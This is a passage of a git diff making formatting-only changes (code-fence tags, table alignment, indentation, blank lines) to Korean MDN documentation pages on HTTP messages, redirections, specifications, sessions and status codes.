 1. TCP 연결을 엽니다. TCP 연결은 요청을 보내거나(혹은 여러 개의 요청) 응답을 받는데 사용됩니다. 클라이언트는 새 연결을 열거나, 기존 연결을 재사용하거나, 서버에 대한 여러 TCP 연결을 열 수 있습니다.
 2. HTTP 메시지를 전송합니다. HTTP 메시지(HTTP/2 이전)는 인간이 읽을 수 있습니다. HTTP/2에서는 이런 간단한 메시지가 프레임 속으로 캡슐화되어 직접 읽는게 불가능하지만 원칙은 동일합니다.
 
-    ```html
-    GET / HTTP/1.1
-    Host: developer.mozilla.org
-    Accept-Language: fr
-    ```
+   ```http
+   GET / HTTP/1.1
+   Host: developer.mozilla.org
+   Accept-Language: fr
+   ```
 
 3. 서버에 의해 전송된 응답을 읽어들입니다
 
-    ```html
-    HTTP/1.1 200 OK
-    Date: Sat, 09 Oct 2010 14:28:02 GMT
-    Server: Apache
-    Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
-    ETag: "51142bc1-7449-479b075b2891b"
-    Accept-Ranges: bytes
-    Content-Length: 29769
-    Content-Type: text/html
-
-    <!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
-    ```
+   ```http
+   HTTP/1.1 200 OK
+   Date: Sat, 09 Oct 2010 14:28:02 GMT
+   Server: Apache
+   Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT
+   ETag: "51142bc1-7449-479b075b2891b"
+   Accept-Ranges: bytes
+   Content-Length: 29769
+   Content-Type: text/html
+
+   <!DOCTYPE html... (here comes the 29769 bytes of the requested web page)
+   ```
 
 4. 연결을 닫거나 다른 요청들을 위해 재사용합니다.
 
diff --git a/files/ko/web/http/redirections/index.md b/files/ko/web/http/redirections/index.md
index fdacc1aa964697..b351d647829825 100644
--- a/files/ko/web/http/redirections/index.md
+++ b/files/ko/web/http/redirections/index.md
@@ -19,10 +19,10 @@ HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(_리다이렉
 
 이 리다이렉션은 영원히 지속됨을 의미합니다. 원래의 URL이 더 이상 사용되지 않아야 하며 새로운 URL을 더 선호해야 함을 시사합니다. 검색 엔진 로봇은 그들의 인덱스 내에서 리소스에 대한 연관 URL의 갱신을 촉발시킵니다.
 
-| 코드  | 텍스트               | 메서드 핸들링                                                                                                                                             | 일반적인 유스케이스                              |
-| ----- | -------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
+| 코드  | 텍스트               | 메서드 핸들링                                                                                                                               | 일반적인 유스케이스                              |
+| ----- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
 | `301` | `Moved Permanently`  | {{HTTPMethod("GET")}} 메서드는 변경되지 않습니다. 다른 메서드들은 {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.[\[1\]](#attr1) | 웹 사이트의 재편성.                              |
-| `308` | `Permanent Redirect` | 메서드와 본문은 변하지 않습니다.                                                                                                                          | GET이 아닌 링크/동작을 지닌, 웹 사이트의 재편성. |
+| `308` | `Permanent Redirect` | 메서드와 본문은 변하지 않습니다.                                                                                                            | GET이 아닌 링크/동작을 지닌, 웹 사이트의 재편성. |
 
 \[1] 명세는 메서드 변경을 허용할 의도가 없으나, 사실 상 사용자 에이전트들이 그렇게 하고 있습니다. `308` 은 `GET`이 아닌 메서드를 사용할 때 동작의 애매모호함을 제거하고자 만들어졌습니다.
 
@@ -30,11 +30,11 @@ HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(_리다이렉
 
 때때로 요청된 리소스는 그것의 표준 위치에서 접근할 수 없고 다른 위치에서 접근 가능한 경우가 있습니다. 이런 경우 일시적인 리다이렉트가 사용될 수 있습니다. 검색 엔진 로봇은 새로운, 일시적인 링크를 기억하지 못합니다. 일시적인 리다이렉션은 일시적인 진행율 페이지를 표시하고자 리소스를 만들고 갱신하며 삭제할 때 사용될 수 도 있습니다.
 
-| 코드  | 텍스트               | 메서드 핸들링                                                                                                                                             | 일반적인 유스 케이스                                                                                                                                                                                        |
-| ----- | -------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 코드  | 텍스트               | 메서드 핸들링                                                                                                                               | 일반적인 유스 케이스                                                                                                                                                                                        |
+| ----- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `302` | `Found`              | {{HTTPMethod("GET")}} 메서드는 변경되지 않습니다. 다른 메서드들은 {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.[\[2\]](#attr2) | 웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다.                                                                         |
-| `303` | `See Other`          | {{HTTPMethod("GET")}} 메서드는 변경되지 않습니다. 다른 메서들은 `GET` 메서드로 _변경됩니다_(본문을 잃게 됩니다).                                   | 동작을 다시 촉발시키는 페이지 리프레시를 막기 위해 {{HTTPMethod("PUT")}} 혹은 {{HTTPMethod("POST")}} 뒤에 사용됩니다.                                                                          |
-| `307` | `Temporary Redirect` | 메서드와 본문은 변경되지 않습니다.                                                                                                                        | 웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. GET이 아닌 링크/동작이 사이트에서 이용 가능할 때 `302`보다 더 좋습니다. |
+| `303` | `See Other`          | {{HTTPMethod("GET")}} 메서드는 변경되지 않습니다. 다른 메서들은 `GET` 메서드로 _변경됩니다_(본문을 잃게 됩니다).                            | 동작을 다시 촉발시키는 페이지 리프레시를 막기 위해 {{HTTPMethod("PUT")}} 혹은 {{HTTPMethod("POST")}} 뒤에 사용됩니다.                                                                                       |
+| `307` | `Temporary Redirect` | 메서드와 본문은 변경되지 않습니다.                                                                                                          | 웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. GET이 아닌 링크/동작이 사이트에서 이용 가능할 때 `302`보다 더 좋습니다. |
 
 \[2] 명세에는 메서드 변경을 허용할 의도가 없으나, 실질적으로 사용자 에이전트들이 그렇게 하고 있습니다. `307` 은 `GET`이 아닌 메서드들을 사용하는 경우 동작의 애매모호함을 제거하기 위해 만들어집니다.
 
@@ -42,10 +42,10 @@ HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(_리다이렉
 
 이런 보통 리다이렉션과 더불어, 특별한 두 가지 리다이렉션이 더 있습니다. {{HTTPStatus("304")}} (수정되지 않음)은 (오랜된)로컬에 캐시된 복사본으로 페이지를 리다이렉트시키며, {{HTTPStatus("300")}} (다중 선택)은 수동 리다이렉션입니다:브라우저에 의해 웹 페이지로 표현되는 분문은 가능한 리다이렉션을 나열하며 사용자는 그 중 하나를 선택하기 위해 클릭합니다.
 
-| 코드  | 텍스트            | 일반적인 유스케이스                                                                                                                         |
-| ----- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
+| 코드  | 텍스트            | 일반적인 유스케이스                                                                                                                  |
+| ----- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
 | `300` | `Multiple Choice` | 이런 경우가 많지는 않습니다: 본문의 HTML 페이지 내에 선택지가 나열됩니다. {{HTTPStatus("200")}} `OK` 상태와 함께 서브될 수 있습니다. |
-| `304` | `Not Modified`    | 캐시 리프레시: 캐시 값이 여전히 사용 가능할 정도로 신선함을 가리킵니다.                                                                     |
+| `304` | `Not Modified`    | 캐시 리프레시: 캐시 값이 여전히 사용 가능할 정도로 신선함을 가리킵니다.                                                              |
 
 ## 리다이렉션을 명시하는 대체 방법
 
diff --git a/files/ko/web/http/resources_and_specifications/index.md b/files/ko/web/http/resources_and_specifications/index.md
index 62d1ce70e781ed..61b19a21e267a2 100644
--- a/files/ko/web/http/resources_and_specifications/index.md
+++ b/files/ko/web/http/resources_and_specifications/index.md
@@ -7,49 +7,49 @@ slug: Web/HTTP/Resources_and_specifications
 
 HTTP는 1990년 초에 처음으로 명세되었습니다. 확장성을 염두에 두고 설계하였고, 해를 거듭하면서 더 많은 추가 사항들이 세상에 나왔습니다; 이런 일로 많은 명세서를 통해 세상에 뿌려진 명세들이 나오게 되었습니다(실험되다가 폐기된 확장들 가운데에서도). 이 페이지에서는 HTTP와 관련해 의미가 있는 리소스들을 나열하고 있습니다.
 
-| 명세                                                                                    | 제목                                                                                                                                                                                                                                                  | 상태                                                 |
-| --------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
-| {{rfc(7230)}}                                                                        | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing                                                                                                                                                                                    | Proposed Standard                                    |
-| {{rfc(7231)}}                                                                        | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content                                                                                                                                                                                         | Proposed Standard                                    |
-| {{rfc(7232)}}                                                                        | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests                                                                                                                                                                                          | Proposed Standard                                    |
-| {{rfc(7233)}}                                                                        | Hypertext Transfer Protocol (HTTP/1.1): Range Requests                                                                                                                                                                                                | Proposed Standard                                    |
-| {{rfc(7234)}}                                                                        | Hypertext Transfer Protocol (HTTP/1.1): Caching                                                                                                                                                                                                       | Proposed Standard                                    |
-| {{rfc(5861)}}                                                                        | HTTP Cache-Control Extensions for Stale Content                                                                                                                                                                                                       | Informational                                        |
-| {{rfc(7235)}}                                                                        | Hypertext Transfer Protocol (HTTP/1.1): Authentication                                                                                                                                                                                                | Proposed Standard                                    |
-| {{rfc(6265)}}                                                                        | HTTP State Management Mechanism _Defines Cookies_                                                                                                                                                                                                     | Proposed Standard                                    |
-| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00)         | Cookie Prefixes                                                                                                                                                                                                                                       | IETF Draft                                           |
-| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00)        | Same-Site Cookies                                                                                                                                                                                                                                     | IETF Draft                                           |
-| {{rfc(2145)}}                                                                        | Use and Interpretation of HTTP Version Numbers                                                                                                                                                                                                        | Informational                                        |
-| {{rfc(6585)}}                                                                        | Additional HTTP Status Codes                                                                                                                                                                                                                          | Proposed Standard                                    |
-| {{rfc(7538)}}                                                                        | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)                                                                                                                                                                                  | Proposed Standard                                    |
-| {{rfc(7725)}}                                                                        | An HTTP Status Code to Report Legal Obstacles                                                                                                                                                                                                         | On the standard track                                |
-| {{rfc(2397)}}                                                                        | The "data" URL scheme                                                                                                                                                                                                                                 | Proposed Standard                                    |
-| {{rfc(3986)}}                                                                        | Uniform Resource Identifier (URI): Generic Syntax                                                                                                                                                                                                     | Internet Standard                                    |
-| {{rfc(5988)}}                                                                        | Web Linking _Defines the {{HTTPHeader("Link")}} header_                                                                                                                                                                                         | Proposed Standard                                    |
-| [Experimental spec](https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html)  | Hypertext Transfer Protocol (HTTP) Keep-Alive Header                                                                                                                                                                                                  | Informational (Expired)                              |
-| [Draft spec](https://httpwg.org/http-extensions/client-hints.html)                       | HTTP Client Hints                                                                                                                                                                                                                                     | IETF Draft                                           |
-| {{rfc(7578)}}                                                                        | Returning Values from Forms: multipart/form-data                                                                                                                                                                                                      | Proposed Standard                                    |
-| {{rfc(6266)}}                                                                        | Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)                                                                                                                                                                 | Proposed Standard                                    |
-| {{rfc(2183)}}                                                                        | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field _Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages._               | Proposed Standard                                    |
-| {{rfc(7239)}}                                                                        | Forwarded HTTP Extension                                                                                                                                                                                                                              | Proposed Standard                                    |
-| {{rfc(6455)}}                                                                        | The WebSocket Protocol                                                                                                                                                                                                                                | Proposed Standard                                    |
-| {{rfc(5246)}}                                                                        | The Transport Layer Security (TLS) Protocol Version 1.2 _This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol._                                                                       | Proposed Standard                                    |
-| [Draft spec](<https://tlswg.github.io/tls13-spec/)>)                                    | The Transport Layer Security (TLS) Protocol Version 1.3 _Once ready, this protocol will supersede TLS 1.2._                                                                                                                                           | IETF Draft                                           |
-| {{rfc(2817)}}                                                                        | Upgrading to TLS Within HTTP/1.1                                                                                                                                                                                                                      | Proposed Standard                                    |
-| {{rfc(7540)}}                                                                        | Hypertext Transfer Protocol Version 2 (HTTP/2)                                                                                                                                                                                                        | Proposed Standard                                    |
-| {{rfc(7541)}}                                                                        | HPACK: Header Compression for HTTP/2                                                                                                                                                                                                                  | On the standard track                                |
-| {{rfc(7838)}}                                                                        | HTTP Alternative Services                                                                                                                                                                                                                             | On the standard track                                |
-| {{rfc(7301)}}                                                                        | Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension _Used to negotiate HTTP/2 at the transport to save an extra request/response round trip._                                                                             | Proposed Standard                                    |
-| {{rfc(6454)}}                                                                        | The Web Origin Concept                                                                                                                                                                                                                                | Proposed Standard                                    |
-| [Fetch](https://fetch.spec.whatwg.org/#cors-protocol)                                                            | Cross-Origin Resource Sharing                                                                                                                                                                                                                         | Living Standard                             |
-| {{rfc(7034)}}                                                                        | HTTP Header Field X-Frame-Options                                                                                                                                                                                                                     | Informational                                        |
-| {{rfc(6797)}}                                                                        | HTTP Strict Transport Security (HSTS)                                                                                                                                                                                                                 | Proposed Standard                                    |
-| Upgrade Insecure Requests                                | Upgrade Insecure Requests                                                                                                                                                                                                                             | Candidate Recommendation |
-| [Content Security Policy 1.0](https://www.w3.org/TR/CSP1/)                                                      | Content Security Policy 1.0 _CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard_                                                                                                                                                                    | Obsolete                        |
-| [Microsoft document](<https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx>) | Specifying legacy document modes\* _Defines X-UA-Compatible_                                                                                                                                                                                          | Note                                                 |
-| {{rfc(5689)}}                                                                        | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) _These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays._ | Proposed Standard                                    |
-| {{rfc(2324)}}                                                                        | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)                                                                                                                                                                                                   | April 1st joke spec                                  |
-| {{rfc(7168)}}                                                                              | The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)                                                                                                                                                                     | April 1st joke spec      |
-| [HTML Living Standard](https://html.spec.whatwg.org/multipage/)                            | HTML _Defines extensions of HTTP for Server-Sent Events_                                                                                                                                                                                              | Living Standard          |
-| [Reporting API](https://wicg.github.io/reporting/)                                         | `Report-To` header                                                                                                                                                                                                                                    | Draft                    |
-| [Draft spec](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-expect-ct-01)        | Expect-CT Extension for HTTP                                                                                                                                                                                                                          | IETF Draft               |
+| 명세                                                                                    | 제목                                                                                                                                                                                                                                                  | 상태                     |
+| --------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------ |
+| {{rfc(7230)}}                                                                           | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing                                                                                                                                                                                    | Proposed Standard        |
+| {{rfc(7231)}}                                                                           | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content                                                                                                                                                                                         | Proposed Standard        |
+| {{rfc(7232)}}                                                                           | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests                                                                                                                                                                                          | Proposed Standard        |
+| {{rfc(7233)}}                                                                           | Hypertext Transfer Protocol (HTTP/1.1): Range Requests                                                                                                                                                                                                | Proposed Standard        |
+| {{rfc(7234)}}                                                                           | Hypertext Transfer Protocol (HTTP/1.1): Caching                                                                                                                                                                                                       | Proposed Standard        |
+| {{rfc(5861)}}                                                                           | HTTP Cache-Control Extensions for Stale Content                                                                                                                                                                                                       | Informational            |
+| {{rfc(7235)}}                                                                           | Hypertext Transfer Protocol (HTTP/1.1): Authentication                                                                                                                                                                                                | Proposed Standard        |
+| {{rfc(6265)}}                                                                           | HTTP State Management Mechanism _Defines Cookies_                                                                                                                                                                                                     | Proposed Standard        |
+| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-prefixes-00)         | Cookie Prefixes                                                                                                                                                                                                                                       | IETF Draft               |
+| [Draft spec](https://tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00)        | Same-Site Cookies                                                                                                                                                                                                                                     | IETF Draft               |
+| {{rfc(2145)}}                                                                           | Use and Interpretation of HTTP Version Numbers                                                                                                                                                                                                        | Informational            |
+| {{rfc(6585)}}                                                                           | Additional HTTP Status Codes                                                                                                                                                                                                                          | Proposed Standard        |
+| {{rfc(7538)}}                                                                           | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)                                                                                                                                                                                  | Proposed Standard        |
+| {{rfc(7725)}}                                                                           | An HTTP Status Code to Report Legal Obstacles                                                                                                                                                                                                         | On the standard track    |
+| {{rfc(2397)}}                                                                           | The "data" URL scheme                                                                                                                                                                                                                                 | Proposed Standard        |
+| {{rfc(3986)}}                                                                           | Uniform Resource Identifier (URI): Generic Syntax                                                                                                                                                                                                     | Internet Standard        |
+| {{rfc(5988)}}                                                                           | Web Linking _Defines the {{HTTPHeader("Link")}} header_                                                                                                                                                                                               | Proposed Standard        |
+| [Experimental spec](https://tools.ietf.org/id/draft-thomson-hybi-http-timeout-01.html)  | Hypertext Transfer Protocol (HTTP) Keep-Alive Header                                                                                                                                                                                                  | Informational (Expired)  |
+| [Draft spec](https://httpwg.org/http-extensions/client-hints.html)                      | HTTP Client Hints                                                                                                                                                                                                                                     | IETF Draft               |
+| {{rfc(7578)}}                                                                           | Returning Values from Forms: multipart/form-data                                                                                                                                                                                                      | Proposed Standard        |
+| {{rfc(6266)}}                                                                           | Use of the Content-Disposition Header Field in the Hypertext Transfer Protocol (HTTP)                                                                                                                                                                 | Proposed Standard        |
+| {{rfc(2183)}}                                                                           | Communicating Presentation Information in Internet Messages: The Content-Disposition Header Field _Only a subset of syntax of the {{HTTPHeader("Content-Disposition")}} header can be used in the context of HTTP messages._                          | Proposed Standard        |
+| {{rfc(7239)}}                                                                           | Forwarded HTTP Extension                                                                                                                                                                                                                              | Proposed Standard        |
+| {{rfc(6455)}}                                                                           | The WebSocket Protocol                                                                                                                                                                                                                                | Proposed Standard        |
+| {{rfc(5246)}}                                                                           | The Transport Layer Security (TLS) Protocol Version 1.2 _This specification has been modified by subsequent RFCs, but these modifications have no effect on the HTTP protocol._                                                                       | Proposed Standard        |
+| [Draft spec](<https://tlswg.github.io/tls13-spec/)>)                                    | The Transport Layer Security (TLS) Protocol Version 1.3 _Once ready, this protocol will supersede TLS 1.2._                                                                                                                                           | IETF Draft               |
+| {{rfc(2817)}}                                                                           | Upgrading to TLS Within HTTP/1.1                                                                                                                                                                                                                      | Proposed Standard        |
+| {{rfc(7540)}}                                                                           | Hypertext Transfer Protocol Version 2 (HTTP/2)                                                                                                                                                                                                        | Proposed Standard        |
+| {{rfc(7541)}}                                                                           | HPACK: Header Compression for HTTP/2                                                                                                                                                                                                                  | On the standard track    |
+| {{rfc(7838)}}                                                                           | HTTP Alternative Services                                                                                                                                                                                                                             | On the standard track    |
+| {{rfc(7301)}}                                                                           | Transport Layer Security (TLS) Application-Layer Protocol Negotiation Extension _Used to negotiate HTTP/2 at the transport to save an extra request/response round trip._                                                                             | Proposed Standard        |
+| {{rfc(6454)}}                                                                           | The Web Origin Concept                                                                                                                                                                                                                                | Proposed Standard        |
+| [Fetch](https://fetch.spec.whatwg.org/#cors-protocol)                                   | Cross-Origin Resource Sharing                                                                                                                                                                                                                         | Living Standard          |
+| {{rfc(7034)}}                                                                           | HTTP Header Field X-Frame-Options                                                                                                                                                                                                                     | Informational            |
+| {{rfc(6797)}}                                                                           | HTTP Strict Transport Security (HSTS)                                                                                                                                                                                                                 | Proposed Standard        |
+| Upgrade Insecure Requests                                                               | Upgrade Insecure Requests                                                                                                                                                                                                                             | Candidate Recommendation |
+| [Content Security Policy 1.0](https://www.w3.org/TR/CSP1/)                              | Content Security Policy 1.0 _CSP 1.1 and CSP 3.0 doesn't extend the HTTP standard_                                                                                                                                                                    | Obsolete                 |
+| [Microsoft document](<https://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx>) | Specifying legacy document modes\* _Defines X-UA-Compatible_                                                                                                                                                                                          | Note                     |
+| {{rfc(5689)}}                                                                           | HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV) _These extensions of the Web, as well as CardDAV and CalDAV, are out-of-scope for HTTP on the Web. Modern APIs for application are defines using the RESTful pattern nowadays._ | Proposed Standard        |
+| {{rfc(2324)}}                                                                           | Hyper Text Coffee Pot Control Protocol (HTCPCP/1.0)                                                                                                                                                                                                   | April 1st joke spec      |
+| {{rfc(7168)}}                                                                           | The Hyper Text Coffee Pot Control Protocol for Tea Efflux Appliances (HTCPCP-TEA)                                                                                                                                                                     | April 1st joke spec      |
+| [HTML Living Standard](https://html.spec.whatwg.org/multipage/)                         | HTML _Defines extensions of HTTP for Server-Sent Events_                                                                                                                                                                                              | Living Standard          |
+| [Reporting API](https://wicg.github.io/reporting/)                                      | `Report-To` header                                                                                                                                                                                                                                    | Draft                    |
+| [Draft spec](https://datatracker.ietf.org/doc/html/draft-ietf-httpbis-expect-ct-01)     | Expect-CT Extension for HTTP                                                                                                                                                                                                                          | IETF Draft               |
diff --git a/files/ko/web/http/session/index.md b/files/ko/web/http/session/index.md
index a7ab0b757ab015..3f35ae207bb035 100644
--- a/files/ko/web/http/session/index.md
+++ b/files/ko/web/http/session/index.md
@@ -26,8 +26,9 @@ TCP를 이용할 경우, 컴퓨터 상의 HTTP 서버를 위한 기본 포트는
 연결이 한번 수립되고 나면 사용자-에이전트는 요청을 보낼 수 있습니다(사용자-에이전트는 일반적으로 웹 브라우저를 말하지만, 예를 들자면 crawler와 같이 무엇이든 될 수 있습니다). 클라이언트 요청은 세 가지 블록으로 나누어진 CRLF(라인 피드를 따르는 캐리지 리턴)로 구분된 텍스트 지시자들로 이루어집니다.
 
 1. 첫번째 줄은 파라메터가 따르는 요청 메서드를 포함합니다.
-    - 문서의 경로, 즉 프로토콜과 도메인 이름을 제외한 절대 URL
-    - 사용중인 HTTP 프로토콜 버전
+
+   - 문서의 경로, 즉 프로토콜과 도메인 이름을 제외한 절대 URL
+   - 사용중인 HTTP 프로토콜 버전
 
 2. 바로 다음 줄들은 각각 특정 헤더를 나타내는데 데이터의 종류가 적합한지(예를 들어, 언어는 무엇인지, MIME 타입은 무엇인지 등) 혹은 서버의 동작을 수정하는 몇 가지 데이터(예를 들어 이미 캐시되어 있는 경우 응답을 전송하지 않는다든지 하는) 등에 관한 몇 가지 정보를 서버에게 제공합니다. 이런 HTTP 헤더들은 빈 줄로 끝나는 블록을 형성합니다.
 3. 마지막 블록은 부가적인 데이터 블록으로. 더 많은 데이터를 포함하며 주로 POST 메서드에 의해 사용됩니다.
diff --git a/files/ko/web/http/status/200/index.md b/files/ko/web/http/status/200/index.md
index 40e70b908af344..df118c462c6424 100644
--- a/files/ko/web/http/status/200/index.md
+++ b/files/ko/web/http/status/200/index.md
@@ -2,6 +2,7 @@
 title: 200 OK
 slug: Web/HTTP/Status/200
 ---
+
 {{HTTPSidebar}}
 
 HTTP **`200 OK`** 는 요청이 성공했음을 나타내는 성공 응답 상태 코드입니다. 200 응답은 기본적으로 캐시 가능합니다.
diff --git a/files/ko/web/http/status/201/index.md b/files/ko/web/http/status/201/index.md
index f1a33b48f1a58d..1b45b2450a28bb 100644
--- a/files/ko/web/http/status/201/index.md
+++ b/files/ko/web/http/status/201/index.md
@@ -2,6 +2,7 @@
 title: 201 Created
 slug: Web/HTTP/Status/201
 ---
+
 {{HTTPSidebar}}
 
 HTTP **`201 Created`** 는 요청이 성공적으로 처리되었으며, 자원이 생성되었음을 나타내는 성공 상태 응답 코드입니다.
diff --git a/files/ko/web/http/status/301/index.md b/files/ko/web/http/status/301/index.md
index 4c2d0bd211e1f7..56e334de41d75d 100644
--- a/files/ko/web/http/status/301/index.md
+++ b/files/ko/web/http/status/301/index.md
@@ -10,9 +10,9 @@ HTTP **`301 Moved Permanently`** 리다이렉트 상태 응답 코드는 요청
 리다이렉트하고, 검색 엔진은 해당 리소스로 연결되는 링크를 갱신합니다.
 
 > **Note:** 명세에서는 리다이렉트를 수행할 때 메서드와 본문이 변경되지 않아야 한다고 하지만, 모든 사용자 에이전트가 이 요구사항을
-충족하지 않습니다. `301` 코드는 {{HTTPMethod("GET")}}과 {{HTTPMethod("HEAD")}} 메소드의 응답으로만 사용하고,
-{{HTTPMethod("POST")}} 메소드에 대해서는 메소드 변경이 명시적으로 금지된
-{{HTTPStatus("308", "308 Permanent Redirect")}} 사용이 바람직합니다.
+> 충족하지 않습니다. `301` 코드는 {{HTTPMethod("GET")}}과 {{HTTPMethod("HEAD")}} 메소드의 응답으로만 사용하고,
+> {{HTTPMethod("POST")}} 메소드에 대해서는 메소드 변경이 명시적으로 금지된
+> {{HTTPStatus("308", "308 Permanent Redirect")}} 사용이 바람직합니다.
 
 ## 상태
 
diff --git a/files/ko/web/http/status/303/index.md b/files/ko/web/http/status/303/index.md
index b8a72715af7c4a..25d5be0dcb64cf 100644
--- a/files/ko/web/http/status/303/index.md
+++ b/files/ko/web/http/status/303/index.md
@@ -28,4 +28,4 @@ HTTP(HyperText Transfer Protocol) **`303 See Other`** 리디렉션 상태 응답
 
 - {{HTTPStatus("302", "302 Found")}}, a temporary redirect
 - {{HTTPStatus("307", "307 Temporary Redirect")}}, 사용된 메서드가 절대 변경되지 않는 이
-상태 코드와 동일합니다.
+  상태 코드와 동일합니다.
diff --git a/files/ko/web/http/status/405/index.md b/files/ko/web/http/status/405/index.md
index c6a8a0dd4df018..8979903f5e3026 100644
--- a/files/ko/web/http/status/405/index.md
+++ b/files/ko/web/http/status/405/index.md
@@ -27,4 +27,4 @@ slug: Web/HTTP/Status/405
 - [HTTP/1.1: Status Code Definitions](https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html)
 - [How to Fix 405 Method Not Allowed](https://kinsta.com/blog/405-method-not-allowed-error/)
 - [Troubleshooting HTTP 405](https://docs.microsoft.com/aspnet/web-api/overview/testing-and-debugging/troubleshooting-http-405-errors-after-publishing-web-api-applications)
-Footer
+  Footer
diff --git a/files/ko/web/http/status/413/index.md b/files/ko/web/http/status/413/index.md
index c039723f6f4b75..bf11daf1310410 100644
--- a/files/ko/web/http/status/413/index.md
+++ b/files/ko/web/http/status/413/index.md
@@ -13,8 +13,8 @@ slug: Web/HTTP/Status/413
 
 ## 정의
 
-| 정의                                                                 | 제목                                                          |
-| -------------------------------------------------------------------- | ------------------------------------------------------------- |
+| 정의                                                | 제목                                                          |
+| --------------------------------------------------- | ------------------------------------------------------------- |
 | {{RFC("7231", "413 Payload Too Large" , "6.5.11")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content |
 
 ## 참조
diff --git a/files/ko/web/http/status/502/index.md b/files/ko/web/http/status/502/index.md
index 18ddc890f681f6..6a0b7fc1c26840 100644
--- a/files/ko/web/http/status/502/index.md
+++ b/files/ko/web/http/status/502/index.md
@@ -2,6 +2,7 @@
 title: 502 Bad Gateway
 slug: Web/HTTP/Status/502
 ---
+
 {{HTTPSidebar}}
 
 하이퍼텍스트 전송 프로토콜(HTTP) **`502 Bad Gateway`** 에러 응답코드는 서버가 게이트웨이나 프록시 서버 역할을 하면서 업스트림 서버로부터 유효하지 않은 응답을 받았다는 것을 의미합니다.
diff --git a/files/ko/web/http/status/503/index.md b/files/ko/web/http/status/503/index.md
index e7fd17c45388e6..ef39d1f458de0e 100644
--- a/files/ko/web/http/status/503/index.md
+++ b/files/ko/web/http/status/503/index.md
@@ -2,6 +2,7 @@
 title: 503 Service Unavailable
 slug: Web/HTTP/Status/503
 ---
+
 {{HTTPSidebar}}
 
 하이퍼텍스트 전송 프로토콜(HTTP) **`503 Service Unavailable`** 서버 에러 응답 코드는 서버가 요청을 처리할 준비가 되지 않은 것을 의미합니다.
diff --git a/files/ko/web/http/status/504/index.md b/files/ko/web/http/status/504/index.md
index 07856ffe9c7c17..d32b508293e270 100644
--- a/files/ko/web/http/status/504/index.md
+++ b/files/ko/web/http/status/504/index.md
@@ -2,6 +2,7 @@
 title: 504 Gateway Timeout
 slug: Web/HTTP/Status/504
 ---
+
 {{HTTPSidebar}}
 
 하이퍼텍스트 전송 프로토콜 (HTTP) **`504 Gateway Timeout`** 서버 에러 응답 코드는 서버가 게이트웨이 혹은 프록시의 역할을 하는 동안 시간 안에 업스트림 서버(upstream server)로부터 요청을 마치기 위해 필요한 응답를 받지 못했음을 나타냅니다.
diff --git a/files/ko/web/http/status/index.md b/files/ko/web/http/status/index.md
index aa5e8fbb234e89..015c5a32879023 100644
--- a/files/ko/web/http/status/index.md
+++ b/files/ko/web/http/status/index.md
@@ -23,6 +23,7 @@ HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료되었
 ## 성공 응답
 
 - {{HTTPStatus(200, "200 OK")}}
+
   - : 요청이 성공적으로 되었습니다. 성공의 의미는 HTTP 메소드에 따라 달라집니다:
     GET: 리소스를 불러와서 메시지 바디에 전송되었습니다.
     HEAD: 개체 해더가 메시지 바디에 있습니다.
